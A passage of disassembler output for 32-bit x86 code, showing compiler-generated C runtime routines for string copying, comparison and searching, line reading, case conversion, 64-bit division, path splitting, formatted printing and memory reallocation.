		jnz	short loc_416C42


loc_416C54:				; CODE XREF: sub_416BE0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_416CC7


loc_416C5B:				; CODE XREF: sub_416BE0+7Fj
					; sub_416BE0+F4j
		mov	[edi], al
		inc	edi


loc_416C5E:				; CODE XREF: sub_416BE0+4Dj
		dec	ebx
		jnz	short loc_416C5B
		pop	ebx
		pop	esi


loc_416C63:				; CODE XREF: sub_416BE0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_416C69:				; CODE XREF: sub_416BE0+A9j
					; sub_416BE0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_416C20


loc_416C71:				; CODE XREF: sub_416BE0+20j
					; sub_416BE0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_416C69
		test	dl, dl
		jz	short loc_416CBB
		test	dh, dh
		jz	short loc_416CB1
		test	edx, 0FF0000h
		jz	short loc_416CA7
		test	edx, 0FF000000h
		jnz	short loc_416C69
		mov	[edi], edx
		jmp	short loc_416CBF
; ---------------------------------------------------------------------------


loc_416CA7:				; CODE XREF: sub_416BE0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_416CBF
; ---------------------------------------------------------------------------


loc_416CB1:				; CODE XREF: sub_416BE0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_416CBF
; ---------------------------------------------------------------------------


loc_416CBB:				; CODE XREF: sub_416BE0+ADj
		xor	edx, edx
		mov	[edi], edx


loc_416CBF:				; CODE XREF: sub_416BE0+C5j
					; sub_416BE0+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_416CD1


loc_416CC7:				; CODE XREF: sub_416BE0+79j
		xor	eax, eax


loc_416CC9:				; CODE XREF: sub_416BE0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_416CC9


loc_416CD1:				; CODE XREF: sub_416BE0+E5j
		and	ebx, 3
		jnz	short loc_416C5B


loc_416CD6:				; CODE XREF: sub_416BE0+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_416BE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_416CDE	proc near		; CODE XREF: sub_406B84+2E2p
					; sub_406B84+42Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_416D5A
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_416CFD
		cmp	edi, 1
		jz	short loc_416CFD
		cmp	edi, 2
		jnz	short loc_416D5A


loc_416CFD:				; CODE XREF: sub_416CDE+13j
					; sub_416CDE+18j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_416D14
		push	esi
		call	sub_41C4E1
		add	[esp+0Ch+arg_4], eax
		pop	ecx
		xor	edi, edi


loc_416D14:				; CODE XREF: sub_416CDE+27j
		push	esi
		call	sub_418704
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_416D29
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_416D3D
; ---------------------------------------------------------------------------


loc_416D29:				; CODE XREF: sub_416CDE+42j
		test	al, 1
		jz	short loc_416D3D
		test	al, 8
		jz	short loc_416D3D
		test	ah, 4
		jnz	short loc_416D3D
		mov	dword ptr [esi+18h], 200h


loc_416D3D:				; CODE XREF: sub_416CDE+49j
					; sub_416CDE+4Dj ...
		push	edi
		push	[esp+0Ch+arg_4]
		push	dword ptr [esi+10h]
		call	sub_41C447
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_416D67
; ---------------------------------------------------------------------------


loc_416D5A:				; CODE XREF: sub_416CDE+Bj
					; sub_416CDE+1Dj
		mov	dword_46B634, 16h
		or	eax, 0FFFFFFFFh


loc_416D67:				; CODE XREF: sub_416CDE+7Aj
		pop	edi
		pop	esi
		retn
sub_416CDE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416D70	proc near		; CODE XREF: sub_406B84+2ACp
					; sub_406B84+2CDp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_416DA1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_416D9F
		jz	short loc_416DA1
		dec	ecx
		dec	ecx


loc_416D9F:				; CODE XREF: sub_416D70+29j
		not	ecx


loc_416DA1:				; CODE XREF: sub_416D70+9j
					; sub_416D70+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_416D70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416DB0	proc near		; CODE XREF: sub_407075+5Cp
					; sub_407075+9Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_416E64
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_416DDA


loc_416DCB:				; CODE XREF: sub_416DB0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_416E0B
		test	edi, 3
		jnz	short loc_416DCB


loc_416DDA:				; CODE XREF: sub_416DB0+19j
					; sub_416DB0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_416DDA
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_416E18
		test	ah, ah
		jz	short loc_416E13
		test	eax, 0FF0000h
		jz	short loc_416E0E
		test	eax, 0FF000000h
		jnz	short loc_416DDA


loc_416E0B:				; CODE XREF: sub_416DB0+20j
		dec	edi
		jmp	short loc_416E1B
; ---------------------------------------------------------------------------


loc_416E0E:				; CODE XREF: sub_416DB0+52j
		sub	edi, 2
		jmp	short loc_416E1B
; ---------------------------------------------------------------------------


loc_416E13:				; CODE XREF: sub_416DB0+4Bj
		sub	edi, 3
		jmp	short loc_416E1B
; ---------------------------------------------------------------------------


loc_416E18:				; CODE XREF: sub_416DB0+47j
		sub	edi, 4


loc_416E1B:				; CODE XREF: sub_416DB0+5Cj
					; sub_416DB0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_416E30
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_416E7C
		jmp	short loc_416E4C
; ---------------------------------------------------------------------------


loc_416E30:				; CODE XREF: sub_416DB0+75j
					; sub_416DB0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_416E6A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_416E60
		test	esi, 3
		jnz	short loc_416E30
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_416E7C


loc_416E4C:				; CODE XREF: sub_416DB0+7Ej
					; sub_416DB0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_416E60


loc_416E53:				; CODE XREF: sub_416DB0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_416E62
		dec	ecx
		jnz	short loc_416E53


loc_416E60:				; CODE XREF: sub_416DB0+8Bj
					; sub_416DB0+A1j
		mov	[edi], cl


loc_416E62:				; CODE XREF: sub_416DB0+ABj
		pop	ebx
		pop	esi


loc_416E64:				; CODE XREF: sub_416DB0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_416E6A:				; CODE XREF: sub_416DB0+85j
					; sub_416DB0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_416E74:				; CODE XREF: sub_416DB0+E4j
					; sub_416DB0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_416E4C


loc_416E7C:				; CODE XREF: sub_416DB0+7Cj
					; sub_416DB0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_416E74
		test	dl, dl
		jz	short loc_416E6A
		test	dh, dh
		jz	short loc_416EC8
		test	edx, 0FF0000h
		jz	short loc_416EB8
		test	edx, 0FF000000h
		jnz	short loc_416E74
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_416EB8:				; CODE XREF: sub_416DB0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_416EC8:				; CODE XREF: sub_416DB0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_416DB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416EE0	proc near		; CODE XREF: sub_4071B6+2A2p
					; sub_40CD3A+3012p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_416F01
		xor	eax, eax
		jmp	short loc_416F03
; ---------------------------------------------------------------------------


loc_416F01:				; CODE XREF: sub_416EE0+1Bj
		mov	eax, edi


loc_416F03:				; CODE XREF: sub_416EE0+1Fj
		cld
		pop	edi
		leave
		retn
sub_416EE0	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_416F20


loc_416F10:				; CODE XREF: sub_416F20+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_416F20
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416F20	proc near		; CODE XREF: sub_408503+D9p
					; sub_40CD3A+3F3p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 00416F10 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_416F26:				; CODE XREF: sub_4158E0+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_416F4B


loc_416F38:				; CODE XREF: sub_416F20+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_416F10
		test	cl, cl
		jz	short loc_416F94
		test	edx, 3
		jnz	short loc_416F38


loc_416F4B:				; CODE XREF: sub_416F20+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_416F56:				; CODE XREF: sub_416F20+61j
					; sub_416F20+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_416F98
		and	eax, 81010100h
		jz	short loc_416F56
		and	eax, 1010100h
		jnz	short loc_416F92
		and	esi, 80000000h
		jnz	short loc_416F56


loc_416F92:				; CODE XREF: sub_416F20+68j
					; sub_416F20+81j ...
		pop	esi
		pop	edi


loc_416F94:				; CODE XREF: sub_416F20+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_416F98:				; CODE XREF: sub_416F20+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_416FD5
		test	al, al
		jz	short loc_416F92
		cmp	ah, bl
		jz	short loc_416FCE
		test	ah, ah
		jz	short loc_416F92
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_416FC7
		test	al, al
		jz	short loc_416F92
		cmp	ah, bl
		jz	short loc_416FC0
		test	ah, ah
		jz	short loc_416F92
		jmp	short loc_416F56
; ---------------------------------------------------------------------------


loc_416FC0:				; CODE XREF: sub_416F20+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_416FC7:				; CODE XREF: sub_416F20+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_416FCE:				; CODE XREF: sub_416F20+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_416FD5:				; CODE XREF: sub_416F20+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_416F20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416FDC	proc near		; CODE XREF: sub_408503+C6p
					; sub_40CD3A+43DFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_416FF0
		xor	eax, eax
		jmp	short loc_417026
; ---------------------------------------------------------------------------


loc_416FF0:				; CODE XREF: sub_416FDC+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_417020
		mov	esi, [ebp+arg_8]


loc_416FF9:				; CODE XREF: sub_416FDC+42j
		dec	dword ptr [esi+4]
		js	short loc_417008
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41700F
; ---------------------------------------------------------------------------


loc_417008:				; CODE XREF: sub_416FDC+20j
		push	esi
		call	sub_41C178
		pop	ecx


loc_41700F:				; CODE XREF: sub_416FDC+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41702A
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_417020
		dec	[ebp+arg_4]
		jnz	short loc_416FF9


loc_417020:				; CODE XREF: sub_416FDC+18j
					; sub_416FDC+3Dj ...
		and	byte ptr [edi],	0


loc_417023:				; CODE XREF: sub_416FDC+55j
		mov	eax, ebx
		pop	esi


loc_417026:				; CODE XREF: sub_416FDC+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41702A:				; CODE XREF: sub_416FDC+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_417020
		xor	ebx, ebx
		jmp	short loc_417023
sub_416FDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417033	proc near		; CODE XREF: sub_409A45+6p
					; sub_409A63+48p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_46B6CC, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_417060
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_4170F9
		cmp	eax, 5Ah
		jg	loc_4170F9
		add	eax, 20h
		jmp	loc_4170F9
; ---------------------------------------------------------------------------


loc_417060:				; CODE XREF: sub_417033+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_417094
		cmp	dword_43812C, esi
		jle	short loc_417082
		push	esi
		push	ebx
		call	sub_418576
		pop	ecx
		pop	ecx
		jmp	short loc_41708C
; ---------------------------------------------------------------------------


loc_417082:				; CODE XREF: sub_417033+42j
		mov	eax, off_437F20
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_41708C:				; CODE XREF: sub_417033+4Dj
		test	eax, eax
		jnz	short loc_417094


loc_417090:				; CODE XREF: sub_417033+ADj
		mov	eax, ebx
		jmp	short loc_4170F9
; ---------------------------------------------------------------------------


loc_417094:				; CODE XREF: sub_417033+3Aj
					; sub_417033+5Bj
		mov	edx, off_437F20
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_4170B8
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_4170C1
; ---------------------------------------------------------------------------


loc_4170B8:				; CODE XREF: sub_417033+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_4170C1:				; CODE XREF: sub_417033+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_46B6CC
		call	sub_41C639
		add	esp, 20h
		test	eax, eax
		jz	short loc_417090
		cmp	eax, esi
		jnz	short loc_4170EC
		movzx	eax, [ebp+var_4]
		jmp	short loc_4170F9
; ---------------------------------------------------------------------------


loc_4170EC:				; CODE XREF: sub_417033+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_4170F9:				; CODE XREF: sub_417033+16j
					; sub_417033+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417033	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417100	proc near		; CODE XREF: sub_40A922+3Dp
					; sub_40C10D+2Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_417121
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_417171
; ---------------------------------------------------------------------------


loc_417121:				; CODE XREF: sub_417100+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41712F:				; CODE XREF: sub_417100+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41712F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41715A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41715A
		jb	short loc_417162
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_417162


loc_41715A:				; CODE XREF: sub_417100+4Aj
					; sub_417100+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_417162:				; CODE XREF: sub_417100+52j
					; sub_417100+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_417171:				; CODE XREF: sub_417100+1Fj
		pop	ebx
		retn	10h
sub_417100	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417180	proc near		; CODE XREF: sub_40A922+24p
					; sub_40C10D+3Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_4171A2
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4171E3
; ---------------------------------------------------------------------------


loc_4171A2:				; CODE XREF: sub_417180+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_4171B0:				; CODE XREF: sub_417180+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_4171B0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4171DE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_4171DE
		jb	short loc_4171DF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_4171DF


loc_4171DE:				; CODE XREF: sub_417180+4Ej
					; sub_417180+54j
		dec	esi


loc_4171DF:				; CODE XREF: sub_417180+56j
					; sub_417180+5Cj
		xor	edx, edx
		mov	eax, esi


loc_4171E3:				; CODE XREF: sub_417180+20j
		pop	esi
		pop	ebx
		retn	10h
sub_417180	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4171E8	proc near		; CODE XREF: sub_40A9D8+1E3p
					; sub_40C574+104p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_415B10
		cmp	eax, 1
		pop	ecx
		jb	short loc_417223
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_417223
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41721F
		push	2
		push	ebx
		push	esi
		call	sub_41CC3D
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_41721F:				; CODE XREF: sub_4171E8+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41722D
; ---------------------------------------------------------------------------


loc_417223:				; CODE XREF: sub_4171E8+18j
					; sub_4171E8+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41722D
		and	byte ptr [eax],	0


loc_41722D:				; CODE XREF: sub_4171E8+39j
					; sub_4171E8+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_4172A5


loc_417240:				; CODE XREF: sub_4171E8+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_46CB81[edx], 4
		jz	short loc_417251
		inc	eax
		jmp	short loc_41726B
; ---------------------------------------------------------------------------


loc_417251:				; CODE XREF: sub_4171E8+64j
		cmp	cl, 2Fh
		jz	short loc_417265
		cmp	cl, 5Ch
		jz	short loc_417265
		cmp	cl, 2Eh
		jnz	short loc_41726B
		mov	[ebp+var_4], eax
		jmp	short loc_41726B
; ---------------------------------------------------------------------------


loc_417265:				; CODE XREF: sub_4171E8+6Cj
					; sub_4171E8+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_41726B:				; CODE XREF: sub_4171E8+67j
					; sub_4171E8+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_417240
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_4172A5
		cmp	[ebp+arg_8], 0
		jz	short loc_4172A0
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_417289
		mov	edi, esi


loc_417289:				; CODE XREF: sub_4171E8+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_41CC3D
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_4172A0:				; CODE XREF: sub_4171E8+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_4172AF
; ---------------------------------------------------------------------------


loc_4172A5:				; CODE XREF: sub_4171E8+56j
					; sub_4171E8+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_4172AF
		and	byte ptr [ecx],	0


loc_4172AF:				; CODE XREF: sub_4171E8+BBj
					; sub_4171E8+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_417302
		cmp	edi, ebx
		jb	short loc_417302
		cmp	[ebp+arg_C], 0
		jz	short loc_4172DF
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_4172C8
		mov	edi, esi


loc_4172C8:				; CODE XREF: sub_4171E8+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41CC3D
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_4172DF:				; CODE XREF: sub_4171E8+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41732A
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_4172EF
		mov	esi, eax


loc_4172EF:				; CODE XREF: sub_4171E8+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_41CC3D
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41732A
; ---------------------------------------------------------------------------


loc_417302:				; CODE XREF: sub_4171E8+CCj
					; sub_4171E8+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_417320
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_417311
		mov	esi, eax


loc_417311:				; CODE XREF: sub_4171E8+125j
		push	esi
		push	ebx
		push	edi
		call	sub_41CC3D
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_417320:				; CODE XREF: sub_4171E8+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41732A
		and	byte ptr [eax],	0


loc_41732A:				; CODE XREF: sub_4171E8+FCj
					; sub_4171E8+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4171E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41732F	proc near		; CODE XREF: sub_40B0EC+19p
					; sub_412B8B+1Cp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_417D6C
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41736D
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41737A
; ---------------------------------------------------------------------------


loc_41736D:				; CODE XREF: sub_41732F+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_417C57
		pop	ecx
		pop	ecx


loc_41737A:				; CODE XREF: sub_41732F+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41732F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41737F	proc near		; CODE XREF: sub_40B363+2Cp
					; sub_416663+35p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41739A
		push	[ebp+arg_4]
		call	sub_415BE9
		pop	ecx
		jmp	loc_41761A
; ---------------------------------------------------------------------------


loc_41739A:				; CODE XREF: sub_41737F+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_4173AF
		push	[ebp+arg_0]
		call	sub_415C9B
		pop	ecx
		jmp	loc_417618
; ---------------------------------------------------------------------------


loc_4173AF:				; CODE XREF: sub_41737F+20j
		mov	eax, dword_46CCA8
		cmp	eax, 3
		jnz	loc_4174BF


loc_4173BD:				; CODE XREF: sub_41737F+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41749B
		push	[ebp+arg_0]
		call	sub_418CBD
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_417476
		cmp	esi, dword_46CCA0
		ja	short loc_41742F
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_4194C6
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41742B
		push	esi
		call	sub_419011
